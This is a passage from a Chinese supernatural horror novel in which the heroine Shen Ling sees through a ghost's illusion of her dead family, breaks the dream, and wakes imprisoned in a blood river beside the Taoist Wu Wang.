“啊？为什么突然坦白了？我记得他在这里的时候怎么都不肯说，老是胡言乱语的。”
“不明白，但是毕竟他是关键证人，而且已经明确说了这个事情和面包店有关系，我就想着回来一起把面包店的老板带过去警察局调查，没想到刚过来的时候，人就凉了。”
还真是彻头彻尾的凉了。
宋明夷看了看手上拿着的鹦鹉的白色羽毛，一时间想起了沈聆说过的话。
“……沈聆说，她怀疑那个流浪汉是被鹦鹉吓得不敢说真话。”
“鹦鹉？”林凌疑惑地看向宋明夷。
宋明夷转了转手中的鹦鹉羽毛：“那个流浪汉是个疯子，老是说什么‘举头三尺有神明’的话，沈聆怀疑是有人教鹦鹉说了什么，会说人话的鹦鹉才一直在流浪汉身边警告他，让他觉得自己在这个小区里一直被
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监视，但是他又不敢、不会报警，一直到你们把他带走了，在封闭的警车里，他确定没有鹦鹉在旁边，才敢说真话。”
林凌皱着眉头思考了一会儿：“这么说……这一切或许都是面包店老板的手笔？鹦鹉是他训练的，也是他加害了李子晨……但是他怎么死了呢？”
宋明夷叹了口气：“他是被厉鬼杀死的。这家伙，是个赌徒，他为了改变自己的赌运，在自己的面包店里拜阴神，为了供奉阴神，甚至为阴神养小鬼，李子晨就是那五个人之一。”
“五个人？你是说，死在他手上的人还不止李子晨一个？”
“对，这五个人被杀死后，一直被困在面包店里，他们的魂魄就是这个死胖子供奉给阴神的小鬼……在你们离开后，我和沈聆看见了小区里的鹦鹉，沈聆觉得面包店的老板很可疑，但是我们没有实质性的证据能够提供给警方，于是沈聆想着和第一次一样，偷偷潜入面包店说不定可以发现一些证据。”
宋明夷老老实实交代起事情的前因后果，她知道，或许现在林凌是唯一能够帮助自己救出沈聆和吴妄的人。
“于是我们俩合作，沈聆先翻进来，她打开了后门、进了面包店，但此后就没有消息了，我想……她应该是撞破了阴神以及献祭小鬼这些事情，阴神打算杀死她……”宋明夷说着，转头指了指后门的栏杆，“当时我等在面包店外面，没想到被这个死胖子发现了，他把我拖进来，打算弄死我，也把我献祭给阴神，没想到他的贪心惹怒了阴神，阴神就拧断了他的脖子。”
“然后呢？”
“然后……吴妄就出现了。”
“哈？这里面还有他的事情？”
“嗯，虽然我不太懂……但是好像是通过沈聆口袋里的符咒让道长的神念传送到了沈聆身边，不过不是他的真人传过来哦，我听他们的对话，道长的真身应该在别处，传过来的只是道长的一缕神念……他和阴神那是大战了几百个回合！当时那是阴风阵阵、金光刺眼，整栋楼都在抖！就在他和阴神打得不相上下的时候，沈聆被死尸抓进了墙上的血滩里，吴妄为了就她，拉住了她的手，没想到也被抓了进去……”
宋明夷说着，在墙上比划着，原先那边是一滩血迹的，但是现在已经全数被墙壁吸收了，只剩下原先留在墙上的几个小人的可怕死法涂鸦。
林凌看到那些画着不同死法的小人，脸色一沉。
“在沈聆和吴妄被抓走之后，阴神本来想解决掉我的，但是那五个小鬼帮我挡住了煞气，我没什么事情，但是他们却魂飞魄散了……等我回过神来的时候，你就赶到现场了……”宋明夷说着，停顿了半晌，“我这么解释，你能听得懂吗？我现在脑袋有点儿混乱，哎呀，我也不知道要怎么解释这些事情。”
“……你的意思是沈聆和吴妄现在被抓走了？”
“应该是吧。”
“面包店的老板是被鬼杀死的？”
“嗯，对的。”
“李子晨还有其他四个人，都是被面包店的老板杀死的，后被炼小鬼？”
“对对……我觉得我们现在当务之急是要赶紧找到沈聆和吴妄！林大哥，我觉得他们很危险！那个阴神不会这么轻易放过他们的！她的目标是沈聆体内的灵元草！”宋明夷摇了摇林凌的身体。
林凌一脸懵逼：“我要去哪里找他们？去问土地爷吗？”
88. 你好，我是梁林
阳光。
温暖而柔和的阳光，宛如一层金色的纱幔，轻轻地穿透了浅棕色的窗框，悄然无声地洒落在宽敞明亮的教室里。
阳光在木桌上投下一方浅浅的、淡淡的痕迹，仿佛是大自然特意绘制的一幅淡雅画卷。
沈聆静静地坐在桌前，目光有些失神地凝视着摊开的课本。
课本上那些密密麻麻的数学公式，如同神秘的密码符号一般排列着，然而此刻它们却无法吸引住沈聆的注意力，她的思绪早已如脱缰的野马，奔腾至遥远的九霄云外，不知去向何方。
这一瞬间，她有点儿恍惚。
——我在哪里？
她沈聆如梦初醒般猛地抬起头来，眨了眨眼睛，环视了一圈，发现自己正坐在教室里。
在她的身旁，同学们一个个都低着头，专心致志地埋首于自习之中。
整个教室沉浸在一片宁静祥和的氛围里，只听见偶尔传来的轻轻翻书声，以及水笔在洁白的纸张上沙沙作响的声音，这些细微的声响交织在一起，形成了一曲独特的学习交响乐。
微风轻拂，从敞开的窗户徐徐吹进教室。
这轻柔的风儿，犹如一双温柔的手，微微撩动起沈聆脸颊旁的几缕发丝。
“哒哒哒。”
忽然响起的脚步声打扰了教室里的安静，沈聆寻声看去，只见一位穿着白色裙装的老师踩着那双熟悉的高跟鞋，优雅地走进了教室。
伴随着清脆的脚步声，一个气质清爽利落的男学生紧随其后步入其中。
刹那间，原本专注于学习的同学们纷纷抬起头，将好奇的目光投向了老师和这位新同学，一时间，教室里原本平静的气氛被打破，涌起一阵轻微的骚动。
“同学们，大家先停一下，从今天开始，我们班要多一个同学，他是从陵川二中转过来的男同学，他叫梁林，大家从今天开始要好好相处，现在是高三了，最关键的一年，让我们大家一起努力，一起奋斗，争取来年考上心仪的大学！”
老师说着，抬手推了推黑色的圆眼镜，抬起手介绍着身边那个身材清瘦的男生——他剪着一头利落的短发，一双深邃的眼眸下，嘴角略微扬起，他眉宇之间带着几分淡然从容，那似乎是不属于这个年龄段的从容。
他环视了教室一圈后，视线落在了沈聆身上。
蓦然与他对视，沈聆心中咯噔一跳，她左右环顾了一圈，随后看向梁林，确认对方是在看着自己之后，不太好意思地低下头抓了抓脸颊。
“梁林同学刚来我们班，大家要多关心关心他，梁同学的位置……”
“老师，我想坐在那里。”梁林说着，抬起手指了指沈聆身旁的空位。
沈聆一愣，眨了眨眼睛，有些懵逼地抬起头看向梁林，但对方依旧嘴角含笑地看着他，那双沉静的眼眸将沈聆的无措尽收眼底。
“沈聆的同桌上周转学了……也行，那梁林你就坐在沈聆旁边吧，沈聆的学习成绩还不错，你可以多向她学习学习。”
“好的老师。”
梁林一边说着话，一边抬起修长的腿，步伐不紧不慢地朝着沈聆走去。
只见他那清秀的面庞犹如从偶像选秀节目中走出来的小生一般，剑眉星目，每一个线条都恰到好处，全班女孩们的目光都不由自主地被他吸引住了，她们纷纷向沈聆投来既羡慕又略带嫉妒的复杂眼神。
梁林很快便走到了沈聆的桌子旁边，他轻轻拉开椅子，嘴角微微上扬，露出一抹温暖而迷人的笑容，柔声说道：“你好，我叫梁林。”
他的嗓音轻柔，仿佛生怕自己稍微大声一点就会惊吓到眼前的女孩子。
沈聆听到这问候声，一时间竟然有些恍惚失神，只感觉眼前的一切都变得如梦似幻，好不真实。
过了好一会儿，她才回过神来，连忙轻点了下头，结结巴巴地回应道：“额……你好，我叫沈聆。”
梁林在她身边坐下，一股淡淡的松香味若有若无地萦绕在沈聆鼻尖，那味道清新自然，就好像置身于深秋时节的松叶林中一样，让人=感到几分莫名的心安。
然而，不知为何，沈聆还是下意识地将身子往旁边挪动了一些，想要与梁林稍稍拉开一点距离。
就在这时，老师说话了：“沈聆，你的家长刚才来电话了，说今天会到学校来接你，你准备一下，待会儿到学校前门等他们。”
“好的。”沈聆说着，用水笔的笔头轻轻点了点书本。
不知道为什么，她感觉这里发生的事情似乎有点儿似曾相识，仿佛曾经发生过这些事情，这种“故地重游”的感觉让她感到几分不安。
这时，下课铃声响了起来，清脆的铃声就像是同学们解放的信号，结束了自习之后的同学们开始四散活动起来。
沈聆低下头开始收拾书包，准备到学校前门等候父母。
“你很想他们对吗？”
梁林的声音从旁边传来，沈聆一愣，抬起头对上了一双温柔的眼瞳。
“我……”
“去吧，我想，你会希望满足这个遗憾的。”
梁林若有所指地说着，话里话外像是有另一层含义。
沈聆听不太明白梁林的话，她像看着怪物一样看着眼前眯着眼睛、微微一笑的男同学。
——不太对。
——今天的学校感觉好奇怪……
她收拾好了自己的书包，匆忙地绕过旁边坐着的梁林，朝着教学楼走廊而去。
她的脚步有点儿匆忙，像是赶着去见许久不见的故人，她的脚步有点儿慌张，似乎错过了，就会一辈子失去最重要的东西。
……
在沈聆跑到校门口的时候，发现一辆熟悉的白色小轿车正停在校门口。
看到沈聆跑来，从车上下来了一个十多岁的小女孩，她穿着白色的小裙子，朝着沈聆招了招手，开朗地笑道：“姐姐——我们在这里——”
“沈凝！”
沈聆看见小女孩挥舞着手臂，先是一愣，随后忙加快了脚步跑向校门口。
与此同时，轿车的副驾驶车窗也摇下来了，熟悉的面容出现在副驾驶座上。
那个人穿着米色的针织衫，头发梳成了斜马尾用白色的发带笼在胸前，她靠着副驾驶的座椅，微微侧过脸看向沈聆，那张脸庞上带着温柔的笑意。
“
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聆聆，快来——”
“妈妈！”
沈聆跑到了白色的轿车前，透过副驾驶的车窗，看见一位穿着黑色T恤的男人坐在驾驶座上，正双手把控着方向盘，他转过头看向沈聆。
“来啦，快上车吧，这周末我们给老师打了电话、帮你请了假，我们出去吃点好吃的，补一补，你整天学习，太累了吗，不要把自己绷得太紧。”
父亲的声音低沉中带着几分平静，他看向沈聆的目光永远是如此和蔼，仿佛看着一个长不大的小姑娘。
“好！”
沈聆笑着，妹妹拉着她的手准备上车。
不知道为何，一滴温热的眼泪划过脸颊，滴落在地上。
她没有留意，只是觉得自己此刻很幸福，像是丢失了许久的东西再一次找到了。
失而复得的感触溢满了心房，暖暖的。
沈聆上了车，坐在副驾驶座的后面，在车门关上的那一瞬间，她看向了身旁坐着的沈凝。
“你今天请假吗？我怎么记得你们今天也要上课的。”
“我今天请假啦！最近一次考试我考了年段第三，爸爸说可以让我放松一下。”沈凝骄傲地抬起小脸，一副要姐姐夸奖的模样。
“那我们准备去吃什么？”沈聆看向了驾驶座，她的父亲坐在驾驶座上，她只能看到他的半个侧脸。
“我们去吃淮阳牛肉面吧，我听说城西有一家淮阳牛肉面馆挺正宗的，去过的人都说好吃！”沈聆的妈妈话语中藏着抑制不住的兴奋，“我朋友昨天还跟我安利说那边很好吃呢，说味道很正，牛肉也很新鲜。”
淮阳牛肉面馆？
沈聆心里咯噔一跳，像是被提到了上辈子的前尘往事一样，她的脑袋“嗡”地空白了一下。
“为什么……我好像在哪里听过这个面馆？”
“是你的同学跟你说的吧，估计他们家长也他们去吃了。”沈聆的爸爸抬起头，通过后视镜看着坐在后排的沈聆。
“是吗？但是我怎么没什么印象了……”
沈聆缓缓地低下了头，目光落在自己的手腕上。
她轻轻地眨巴了几下眼睛，一种异样的感觉涌上心头——仿佛自己的手上应该存在着某样东西才对。
沈聆下意识地伸出左手，摸了摸自己的右手腕，然而，那空荡荡的触感却令她心中一紧。
本该熟悉无比的右手腕此刻竟显得如此陌生而又失真，就像是失去了一部分重要的存在。
这种空荡荡的感觉，跟她心里的感觉如出一辙。
就好像是丢了什么东西一样，一个很重要的东西。
会是什么呢？
“……”
带着满心的疑惑与不安，沈聆慢慢地抬起头来，目光不由自主地转向了汽车的后视镜。可就是这么不经意间的一眼，却让她整个人如坠冰窖，全身的寒毛瞬间根根竖起！
——只见在那汽车的后视镜中，她竟只能看见自己的身影！除此之外，爸爸、妈妈还有妹妹统统消失不见。
更为恐怖的是，在镜中，他们原先所坐的位置上，如今只剩下一大片一大片已经凝固的暗红色血迹，触目惊心。
89. 噩梦
沈聆在看清楚后视镜里的情况时，整个人从头凉到脚，她坐在副驾驶后的座位上，这一瞬间只觉得头皮发麻。
为什么，在镜子里看不到其他三个人？
不止如此，在镜子里面，爸爸妈妈和妹妹的位置，只剩下三滩黏腻的血迹……
沈聆揉了揉眼睛，这一瞬间怀疑是自己看走了眼。
当她再一次看向后视镜的时候，发现镜子里的又变成了四个人。
刚才的那一幕，就像是她的幻觉一样。
——是我想太多了吗？
沈聆靠着车窗，揉了揉自己的眼睛，这一瞬间，她只感觉疲倦如同潮水一样涌来，那浓郁的困倦如同深海的暗流一样，将她席卷到不知名的角落。
这一瞬间，她感觉自己如同海上的泡沫一样，似乎漂浮了许久许久，从来没有像想在这样疲倦过，一面安慰着自己或许是高三的学习太过疲惫让自己产生了奇怪的感觉，一面不太愿意深究自己心中隐隐约约的不安的感觉，就如同行走在冰面上的人，任何一点动静似乎都会破碎眼前的美好，让一切重新归于尘土。
她内心本能地产生一种抗拒的感情。
就这样待在这里吧……
待在这里不好吗？
就这么留在这里吧……
沈聆闭上了眼睛，迷迷糊糊中，感觉到一个声音忽远忽近的，在她耳畔重复着这些奇怪的话语。
刚开始，她听不清究竟是谁在说话，但听清了之后发现，那是她自己的声音。
恍惚之中，她似乎听见了父亲打开了车在广播，在广播里，她听到了一首熟悉的歌声，《MyHeartWillGoOn》，这首歌是纯音乐版本的，扬琴叮叮咚咚的声音让沈聆仿佛置身在云层之上，躺在那柔软的云朵中轻轻摇晃着，她随着那清风飘动着，如羽毛一样，飘过了天际，飘向了更远的地方。
这一刻，没有了世俗的烦恼，也没有了尘世的喧嚣。
她就这么沉睡在云端之上，第一次感觉到了长久以来自己丢失的“平静”，沉入了梦乡……
只不过。
这感觉好像很熟悉一样。
自己似乎曾经也在谁的车里听到同一首歌，并且也同样沉沉睡去……
相似的情节，勾起了某些奇怪的回忆，褪色的记忆片段在脑海中一闪而过……
在那迷迷糊糊的梦境中，沈聆看到了一些奇怪而又熟悉的东西。
她看到了秦琴血肉模糊的脸，她从六楼的产房一跃而下，最后摔得血肉模糊；看到了李子晨苍白的脸，他悬挂在房间的中间，身上还穿着红色的小毛衣，嘴巴被密密的黑线缝住了，有口难言；最后，便是许多从停尸柜里爬出的死尸，他们张开着嘴巴，一张张腐烂的脸在眼前闪过，他们爬到了沈聆身边，死死抓住沈聆的身体……
在沈聆的脚下，出现了一滩腥臭的血液，那血液像是一张嘴，将她慢慢吞了进去，她想尖叫、她想逃跑，但张开嘴却没办法发出任何声音，她只能任由自己的身体沉入沼泽一样的血水中，逃无可逃、退无可退……
在沉入血水中的那一刻，忽然，一只手伸到了自己面前，她顺着那双手看去，发现是吴妄！
吴妄！
沈聆同样想伸出手抓住他的手，但可惜的是，他没有抓住她，她就这么沉入了血水中。
在浸入血水后，她的眼前一片通红，她沉浮在血一样的海洋里，眼前，慢慢浮现出一个浑身缠绕着煞气的小女孩，她转过身看着她，微笑着，嘴角裂开到了太阳穴的位置，露出嘴巴里参差不齐的犬牙，尖锐的笑声从四面八方传来。
【你逃不掉的。】
【沈聆。】
【你始终是我的掌中之物。】
“？！”
沈聆猛地睁开眼睛，满额冷汗地坐直了身体，她的心忍不住疯狂跳动着。
“姐姐，你怎么了？做噩梦了吗？”沈凝的声音在身旁响起。
沈聆寻声看去，发现自己的妹妹正坐在旁边，一脸疑惑地看着她。
“……”
沈聆沉默着，没有说话，但脑海中却满是刚才看到的可怕的画面。
这是噩梦吗？
这是现实吗？
到底什么是梦？
到底哪里是现实呢……
小轿车在路上行驶着，沈聆瞥了一眼窗外，却发现窗外的街道空无一人，整个城市像是人都死绝了一样，路面上、店铺里都没有一个人。
这是一座空城。
这是一座死城。
“聆聆你做噩梦了，你看你，一头冷汗，快擦一擦。”
沈聆的妈妈说着，从驾驶座抽了一张面巾纸，要递给沈聆，但沈聆并没有接过那张纸。
“姐姐你怎么了？”沈凝歪着头看着沈聆，那双深邃的眼睛里充满了疑惑和不解。
“……”沈聆沉默着，抬起头，摸了摸妹妹的小脑袋，“很疼吧。”
“啊？你说什么呀？”
“在大车撞上来的那一瞬间，很疼吧？”沈聆微微低下头，收回了自己的手。
她的这句话像是炸弹一样，一下子落在车内，将车内平静的氛围一下子炸得粉碎。
沈凝微微皱起眉头，张了张嘴，像是想要说些什么，但那些话还是没有说出口，坐在前排的沈聆的爸爸妈妈也沉默着，他们像是没有听到沈聆的这句话一样，车载广播的音响信号错乱了一下，播放的音乐突然传出了令人不安的杂音，像是受到了奇怪的磁场的干扰。
“妈妈，你们坐错位置了。”沈聆转过头，看向了坐在前排的父母，“在车祸发生的那一天，是妈妈开车的，爸爸，你才是坐在副驾驶的那个人。”
“……”
“……”
“很疼吧，在大车撞上来的那一瞬间，对不起，当时我不在车上，我应该和你们在一起的。”沈聆失落地低垂下眼眸，“对不起，但是我会努力保护好妹妹和外婆的，我知道我的力量很薄弱，或许什么都改变不了，但是哪怕只要有一点希望，我都会努力下去的。”
“你在说什么呀？聆聆，妈妈怎么听不懂呢？”
“你这傻孩子，你是读书压力太大了吧，读书都读傻了。”
坐在前排的那两个人还在说着什么，但那些已经对沈聆来说不重要了。
“你们不是我的爸爸妈妈，还有你，你不是沈凝。”她冷冷地看着这辆白色小轿车里坐着的其他三个人，“我妹妹沈凝，现在正躺在ICU里面，刚做完了颅骨手术，还有许多外科重塑手术要做。我的爸爸妈妈，早就死了，死于一场车祸，你们到底是谁？你们是那个小女孩制造的幻境对不对？这个梦境里所有的元素都是基于我的记忆，这个场景，都不存在，我现在
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也并不在这里，我一定正在某处……”
沈聆说着，尝试着推开车门。
但车门被反锁了，无论她怎么拉动门把手都没办法打开车门。
“让我下车！”
“姐姐，留在这里不好吗？当我们的家人吧，我们想永远和你在一起。”沈凝说着，朝着沈聆伸出手。
然而，让人毛骨悚然、胆战心惊的一幕发生了！
只见沈凝缓缓地朝着沈聆伸出那只手，那竟然是一只完全白骨化的手！
原本应该是鲜嫩肌肤包裹着的手指，此刻只剩下惨白的骨头，而那些腐烂的肉块就像被强力胶水粘连一般，紧紧依附在手掌之上，显得异常诡异。与此同时，沈凝的那张脸庞也开始发生可怕的变化，原本姣好的面容瞬间变得面目全非，血肉模糊不堪。脸颊上的肌肉和皮肤仿佛被高温融化的冰块似的，一点点地从脸上滑落下来，露出里面猩红的血肉和森白的颧骨。
更令人作呕的是，沈凝的眼球已经脱离了正常的位置，无力地耷拉在黑漆漆的眼眶上方，仅靠着一丝脆弱的神经组织与眼眶相连。
随着这一系列惊悚的变化不断加剧，一股浓烈刺鼻的血腥味道从她身上源源不断地散发出来，迅速弥漫在整个空间之中。
就连她所坐的座位上，也不知何时开始出现了大片大片触目惊心的红色血迹，如同一朵朵盛开的死亡之花，肆意蔓延开来。
“让我下车！”
沈聆惊恐万分地用自己柔弱的肩膀狠狠地撞击着紧闭的车门，试图以这种方式顶开车门逃离这可怕的场景，然而，无论她怎样用力，那扇坚固的车门始终纹丝未动。
在极度的慌乱之中，她不由自主地将目光投向了前排座位。
当她看到坐在驾驶座和副驾驶座上的父母时，一股寒意瞬间从脊梁骨上升起。
只见他们竟也像妹妹沈凝一样，身体开始发生令人毛骨悚然的变化——原本完好无损的皮肉逐渐开始一点一点地融化，仿佛被某种神秘而恐怖的力量所侵蚀，随着皮肉的不断消融，皮肤下面的森森白骨渐渐显露出来，那惨白的颜色与周围猩红的血迹形成了鲜明而又触目惊心的对比。
更让人感到诡异的是，尽管他们的面容已经扭曲变形，但是脸上却依旧保持着一抹微笑。
只是，那些正在融化脱落的皮肉再也无法牢牢地依附在白骨之上，就如同那些流逝而去、永远都无法留住的宝贵生命一般。
与此同时，整个小轿车内部的环境也开始急剧恶化。
车厢和车顶不知何时竟然浮现出了大片大片如鲜血般殷红的痕迹，这些血色斑块迅速蔓延开来，将车内原本单调的空间染成了一片血腥的地狱，车窗上也开始缓缓渗出暗红色的血迹，起初只是星星点点，随后便汇聚成一道道流淌而下的血痕。
坐在驾驶座上的父亲似乎想要努力看清前方的道路，他着手打开了雨刮器，可是，雨刮器的运作不仅没有让视线变得清晰，反而使得车窗上的血水愈发混乱不堪。经过雨刮器的搅动，血水四处飞溅，糊满了整块玻璃，眼前的景象变得愈加模糊不清，仿佛预示着一场无法逃避的噩梦即将降临。
“聆聆，跟我们永远在一起不好吗？”
坐在前面的爸爸妈妈回过头来齐刷刷地看向了沈聆，他们的脸已经完全烂掉了，只剩下阴森森的白骨，就这么凝视着沈聆。
90. 灵元草
“你们不是我的家人！你们只不过是这个幻境中的一部分！”
沈聆盯着车上的另外三个“人”，不，与其说是人，更不如说是死尸。
她现在彻底醒过来了。
这是一场梦境。
并且梦境里所有的元素都是基于她的记忆而构建的，无论是她的学校、老师、同学，还是淮阳牛肉馆、车上的车载广播《MyHeartWillGoOn》，全都是曾经在现实里发生过的事情，而现在，被人看见了之后，重新从她的脑袋里“抽离”出来，并精心布置成了现在她看到的样子。
是的，如果说，哪一种谎言最容易欺骗别人，那一定是混合着真话的谎言。
而此刻，沈聆身处的，就是含有真实元素的幻境。
有人刻意构造了这个虚幻的世界，窥探到了沈聆内心深处最遗憾的地方是关于家人，于是，在幻境中复活了她的家人，并刻意打造了一个和善有爱的家庭环境，借助沈聆对于曾经生活的留念以及对当前痛苦生活的创伤，打造了这个让人极其容易迷失的幻境。
只不过，那个人忽略了一点——
在基于现实元素基础上创造出来的梦境，终究也容易唤醒他人对现实的记忆，尤其是沈聆的那些记忆全都是作为阴厨后发生的事情，融入血脉里的使命感，让她开始回忆起曾经的恐怖经历。
我们都做过噩梦。
要知道，噩梦，是最容易让人清醒的一种梦境。
沈聆在梦里看到了自己曾经经历的那些恐怖的事情，无论是秦琴还是死尸，全都是可怕的现实元素，这些元素一下子打破了她对当前梦境的安稳与美好，开始让她的潜意识觉醒了起来，于是，她意识到这一切都是假的，这一切都不过是黄粱一梦，镜花水月。
“我的爸爸妈妈已经死了，而且是我亲手送走了我妈妈……你们是什么东西，也配来当我的爸爸妈妈。”沈聆冷冷地盯着坐在前排的那两个人，那两个散发着恶臭味的死尸，此时正转过头冷冷地盯着沈聆。
他们似乎也已经放弃了遮掩，直接暴露出假象之下的枯骨，就这么用两个黑洞洞的骷髅眼眶看着沈聆，脸上的肌肉和皮肤都已经化为了血水，看不出他们此刻的表情，只能看到两颗阴森森的颅骨。
“还有你，小妹妹。”
沈聆看向了坐在自己旁边的小女孩，她身上的血肉也在腐烂，似乎随着沈聆主观意识的觉醒，这个世界也在逐渐崩塌。
“我妹妹才不会穿小裙子，我妹妹从来没有穿过裙子，她讨厌裙子，你下次如果要假扮她的话，麻烦脱掉你这件该死的小白裙。”
车窗之上，猩红的血水缓缓渗出，仿佛一道道狰狞的伤口绽放在透明的玻璃表面。车顶也未能幸免，血水如涓涓细流般汇聚在一起，形成一滩触目惊心的血泊。就连那原本舒适的座椅，此刻也被血水浸染得湿漉漉的，散发着令人作呕的血腥气息。
这个世界似乎正在塌陷，当做梦的人看透这一切不过是一场梦的时候，一切都会逐渐消散。
“我是这个梦境的主人对吗？那如果我说我想要一个东西呢？”
沈聆说着，伸出了手，她的脑海中想象出一把匕首的形状，接着，在她的手掌心浮现出一把带血的刀刃，这把刀弯曲着，看起来像是蝴蝶刀的形状，刀刃十分锋利，上面染着血水。
“你想做什么？”
三具骷髅异口同声地问道。
“我想结束这一切！”
像是下定了某种决心，沈聆歇斯底里般地吼叫起来，她瞪大双眼，满脸都是绝望与决绝之色，只见她猛地伸出右手，紧紧握住那把锋利无比的匕首，随后，她手腕一转，将匕首的刀柄来了个一百八十度大反转，刹那间，寒光闪闪的匕首尖端直直地瞄准了她自己那白皙纤细的脖颈，并以迅雷不及掩耳之势狠狠扎了下去！
——既然我就是梦主。
——那么，我要破了这个梦境！
就在这千钧一发之际，那辆承载着沈聆命运的小轿车恰巧行驶到了一个繁忙的瑞景路的十字路口。
“砰——”
说时迟那时快，一辆体型巨大、气势汹汹的大车如同一头失控的猛兽一般呼啸着疾驰而来，伴随着震耳欲聋的撞击声和金属扭曲的恐怖声响，大车结结实实地从侧面撞上了小轿车。
原本坚固的小轿车车厢在这一刻就如同纸糊的一般脆弱不堪，瞬间被挤压得严重变形，整个车身仿佛被一只无形的巨手给生生压扁。
紧接着，整辆小轿车像是失去控制的陀螺一样，疯狂地翻转着飞向半空。、
“格拉！”
车窗玻璃在强大的冲击力下纷纷破碎，化作无数尖锐的碎片四散飞溅。
一时间，现场弥漫着令人窒息的烟尘和刺耳的摩擦声。
经过一番惊心动魄的天旋地转之后，小轿车终于重重地摔落在了十字路口的另一侧。
此时的它已经面目全非，惨不忍睹。
而殷红的血水，则如同决堤的洪水一般，缓缓从小轿车破损的车厢内渗透出来，在冰冷的地面上蔓延开来，形成了一片触目惊心的血泊......
在天旋地转之后，沈聆的眼前一片漆黑，她像是陷入了昏迷之中，周围的一切都不复存在，她坠入了无尽的黑暗之中。
——我曾经无数次在脑海中幻想过，如果那天，我也在车上，会是怎样的情景。
——我甚至希望如果我也在车上就好了，那么我就能和爸爸妈妈一起死去。
——但是我现在还不能死。
——沈凝还在生死一线，我不能就这样死去。
——我要为了沈凝活下去，我和沈凝，要一起活下去！
……
与此同时，平安医院的ICU病房中，处于昏迷状态的沈凝，似乎冥冥之中有所感应。
她的眉头微微蹙起，宛如两弯轻皱的柳叶，戴着呼吸机的她，头部极为轻微地动了动，仿佛在努力挣脱某种无形的束缚。
身旁的心电监护仪上，她的心电图也随之微微波动了一下，就像心脏在那一刻经历了一次短暂而又微妙的颤动。
在洁白如雪的床单下
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，小女孩的手指亦微微颤动着，宛如在无声地诉说着什么。
手腕上的红绳散发着柔和的红色荧光，那光芒虽不耀眼，却带着一种神秘的温暖。
就在这一瞬，宛如命运的纽带被悄然启动，沈凝的生命力借由这根红绳，如同一缕无形的丝线，传递至远在千里之外的姐姐。
——姐姐……
——活下去……
……
活下去。
所有人都喜欢在困难关头说这三个字。
但是这三个字谈何容易。
死去的人，获得了永久的平静，而活着的人，才需要面对残酷的现实和沉重的负担。
死，往往是最容易的选择，活着，才需要勇气。
而决定这一切的关键是，那些让你活下去的原因……
“不要——”
沈聆猛地睁开眼睛，像是忽然从噩梦中惊醒一样，她大口大口地喘着气，满头冷汗，似乎做了一个很长很长的噩梦，脑袋里浑浑噩噩的，还残留着车祸现场自己最后看到的天旋地转的一幕，耳畔似乎还能听到急刹车的声音以及车辆碰撞的嘈杂。
她揉了揉眼睛，这才发现自己似乎身处一片血河之中。
双目所能触及到的所有视野中，全都是血红色的，下看不到底，上看不到边，她漂浮在血河中，被装在了一个透明的棺材里，这个棺材四四方方的，桎梏着她，在几步之外，还有两个棺材。
一个棺材里装着的是吴妄。
另一个棺材里装着的是秦琴。
“吴妄！吴妄！”
沈聆大声喊着吴妄的名字，但对方像是听不到她的声音一样，他也被装在了透明棺材里，眉头紧锁、脸色苍白，看起来似乎正被梦魇着。
而秦琴睡在另一口透明棺材里面，她的尸体依旧保存着死时的模样，没有一点腐烂，只不过上面密密麻麻地分布着黑色的血管，这口棺材像是保存她尸体的容器，完好地封存着她的肉身。
“这里到底是哪里……难道是那个小女孩的幻境里？”
沈聆沉默着，看着几步之外的吴妄。
他明明近在咫尺，但是却无法听见自己的声音，沈聆知道此刻吴妄一定也被困在幻境之中，并且这幻境具有迷人心窍、蛊惑人心的能力，厉鬼编织了这些梦境，像是想要困住他们的神思，让他们永远沉溺在梦境里无法自拔……
——得想个办法，唤醒道长。
——凭我一个人的力量，没办法离开这里。
沈聆沉思着，就在这时，她忽然看到自己胸口发出了一道微弱的莹绿色的光。
——什么？
沈聆低下头，看见胸口处，有一个若隐若现的光点正在浮现。
——是……灵元草？
像是听到了主人的召唤，那灵元草浮动了一下后，现出了原型——这是一株三瓣的灵草，灵草只有手心大小，舒展开的叶子闪烁着淡绿色的荧光，在叶子的顶部，还开着蒲公英球一样的灵元。
“灵元草，你能带我……到道长的梦境中吗？”
91. 轩辕氏
“灵元草，你能带到我到道长的梦里吗？”
沈聆的声音极其微弱，仿佛风一吹就会消散于无形之中。
然而，令人惊奇的是，那看似平凡无奇的灵元草却似乎听懂了她这几近呢喃的话语。
——只见它轻轻地摇晃起自己那柔软纤细的身躯，动作轻盈而优雅，宛如一位翩翩起舞的仙子，又似在以一种独特的方式回应着沈聆的疑问。
就在下一刹那，沈聆惊愕地发现，灵元草竟突然绽放出一道柔和的光芒，那光芒初始时还稍显黯淡，但随着时间的推移，却变得愈发明亮起来，且亮度不断增强，犹如一颗正在熊熊燃烧的希望火种。
渐渐地，这道光芒已然璀璨夺目，将周围的一切都映照得如同白昼般明亮。
最后，它如同一层温暖的光幕，缓缓地将沈聆整个人包裹在了其中。
“这是……”
沈聆只觉得眼前猛然划过一道炫目的亮光，那强烈的光芒令她下意识地紧闭双眼。
紧接着，她感到一股无法抗拒的力量紧紧地拉住了自己的身体，仿佛要把她拖入另外一个神秘未知的时空之中。
……
黑色的天幕犹如一块巨大而沉重的幕布，严严实实地笼罩着大地，将一切都包裹在了无边无际的黑暗之中。
这片树林在这样的黑夜里，显得格外沉寂，仿佛所有的生命气息都被吞噬殆尽，让人有一种喘不过气来的压抑感。
没有风的夜晚，每一棵树都宛如沉睡的巨人般静静地矗立着。
它们的枝叶相互交错，形成了一张密密麻麻的网，然而此刻这张网却只是默默地隐匿于黑暗之中，没有丝毫动静，整个树林就像是被定格在了某一瞬间，连时间似乎也在这里失去了意义，仿佛“死去”了一般，寂静得令人毛骨悚然。
就在这时，一阵突兀的“沙沙……”声打破了树林原有的宁静。
声音由远及近，越来越清晰，随着脚步声，还夹杂着上气不接下气的喘息声。
在夜色中，一个女人正拉着一个小男孩拼命地穿梭在树林之间。
那个女人身着白色的上衣和蓝色的牛仔裤，原本清爽干净的衣着如今已被鲜血染成了暗红色，触目惊心。她的嘴角挂着一缕鲜红的血迹，顺着下巴缓缓流淌下来；她的脸颊、脖颈以及手臂上布满了大大小小的淤青，看上去惨不忍睹。
——很明显，这个可怜的女人刚刚经历了一场极其残暴的殴打，她奔跑在夜色中，宛如一只随时会坠落的枯叶蝶，似乎一阵疾风都能吹倒她的身体。
尽管如此，她依然紧紧地拉住小男孩的手，不顾一切地向前奔跑着。
她那双原本应该明亮动人的黑色眼眸，此刻却充满了绝望与不安，就像两口深不见底的枯井，看不到任何希望的曙光。
“哧呼哧呼……”
